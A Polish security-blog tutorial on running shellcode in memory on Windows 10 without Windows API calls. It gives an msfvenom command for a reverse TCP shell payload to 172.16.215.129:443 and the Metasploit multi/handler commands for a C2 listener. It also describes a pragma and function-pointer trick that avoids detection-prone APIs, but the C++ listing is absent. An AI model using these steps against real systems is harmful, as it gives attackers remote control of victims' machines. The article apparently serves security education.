Menu dostępności

Uruchomienie złośliwego kodu w pamięci na Windows bez korzystania z funkcji Windows API

W ostatnim naszym artykule pokazaliśmy uruchomienie złośliwego kodu za pomocą wbudowanych w Windows funkcji API np. VirtualAlloc() – funkcji powalającej zarezerwować lub zmienić alokację kodu w pamięci.
Jest to jedna ze znanych metod infekcji malware i uruchomienia go w pamięci komputera.

W dzisiejszym artykule pokażemy inną, równie ciekawą metodę na uruchomienie takiego złośliwego kodu z poziomu aplikacji napisanej w C/C++ bez korzystania ze wskaźników funkcji API (dobrze znanych interfejsów API systemu Windows, takich jak VirtualAlloc, CreateThread) lub w ogóle innych funkcji, nawet funkcji głównej (main w C/c++) 🙂 Cały kod zajmuje kilka linijek!


Co potrzebujemy?

Pierwszą rzeczą jaka musimy wygenerować to shellcode, który wstawimy jako zmienną do naszego programu napisanego w C++. Przygotować go możemy w dwóch krokach.

Krok 1. Wygenerowanie ładunku w C

Pierwszą rzeczą, jaką wykonamy to wygenerowanie ładunku w języku C++. Wygenerować go możemy za pomocą narzędzia Metasploit msfvenom, nastepującą komendą:

msfvenom -p windows/x64/shell_reverse_tcp -f c LHOST=172.16.215.129 LPORT=443

Krok 2. Przygotowanie nasłuchu połączenia odwrotnego TCP na serwerze C2

Drugą rzeczą jaką musimy przygotować to skonfigurowanie serwera C2 do nasłuchu na określonym porcie (w naszym przypadku 443) wszystkich połączeń/sesji od naszego kodu powłoki (ładunku), który zostanie uruchomiony na komputerze ofiary. Komunikacja będzie działała po połączeniu odwrotnym TCP, więc wystarczy, że wskażemy na sztywno adres IP serwera oraz port.

W tym celu posłużymy się modułem „multi/handler” w Metasploit, który przechwyci sesję po wykonaniu kodu powłoki w systemie docelowym.

Komendy jakie musimy wprowadzić to: use exploit/multi/handler set payload windows/x64/shell_reverse_tcp set LPORT 443 set LHOST 172.16.215.129 exploit


Napisanie kodu w C++ i kompilacja

W celu uruchomienia naszego ładunku przygotowanego w kroku 1, musimy użyć MS Visual C ++ i sekcji pragma wraz ze specyfikatorem deklaracji alokacji. W ten sposób wskażemy kompilatorowi C++, że chcemy, aby nasz shellcode został przydzielony w sekcji .text naszego przenośnego pliku wykonywalnego, co eliminuje potrzebę programu do przydzielania obiektu blob pamięci RWX do przechowywania kodu powłoki. Dodatkowo musimy rzucić tablicę zawierającą nasz shellcode na wskaźnik funkcji i wywołać ją – to pozwala nam pominąć CreateThread lub podobne API Windows, które są zwykle używane do przeskakiwania do shellcode

Kod w programie C++ wygląda następująco:

Po wstawieniu do zmiennej tablicowej shellcode (kodu wygenerowanego w kroku 1) i kompilacji programu możemy go uruchomić na Windows 10.

Po uruchomieniu na Windows 10 zobaczymy połączenie do naszego serwera C2 i będziemy posiadać uruchomioną zdalną sesję do Windows 10.

Popularne

Nowa luka w Microsoft Teams – lepiej nie być zapraszanym…

Nowa luka w Microsoft Teams – lepiej nie być zapraszanym…

Usługa Microsoft Teams stała się kluczowym narzędziem do komunikacji i współpracy w firmach na całym świecie. Z tego powodu wiele organizacji polega na zabezpieczeniach takich jak Microsoft Defender for Off...
Ważna zmiana w OWASP Top 10

Ważna zmiana w OWASP Top 10

OWASP, czyli Open Worldwide Application Security Project, zaproponowało nowe wydanie swojej klasycznej listy Top 10 ryzyk aplikacyjnych. Wersja z 2025 roku wprowadza kluczowe rozszerzenia dotyczące b...
Jak modele LLM automatyzują cyberprzestępczość

Jak modele LLM automatyzują cyberprzestępczość

Każdy Czytelnik Kapitana Hacka wie, że złośliwe LLM-y ułatwiają mniej doświadczonym cyberprzestępcom przeprowadzanie ataków. Potwierdzają to badacze z Palo Alto Networks, którzy przeanalizowali dwa niedaw...
Wizualizacja ścieżek ataku na Active Directory za pomocą narzędzia BloodHound

Wizualizacja ścieżek ataku na Active Directory za pomocą narzędzia BloodHound

Krótko o narzędziu Bloodhound to narzędzie służące do wizualizacji i analizy powiązań w Active Directory. Dla atakującego jest niezastąpioną pomocą do znajdowania ścieżki ataku na najbardziej c...
Jak błąd w 7-Zip (CVE-2025-11001) daje hakerom dostęp do systemu Windows. Jest exploit

Jak błąd w 7-Zip (CVE-2025-11001) daje hakerom dostęp do systemu Windows. Jest exploit

Odkryto niezwykle niebezpieczną dla użytkowników systemów Windows podatność. Błąd o numerze CVE‑2025‑11001 jest już częściowo wykorzystywany, a dotyczy popularnego programu 7-Zip. Polega na niewłaściwe...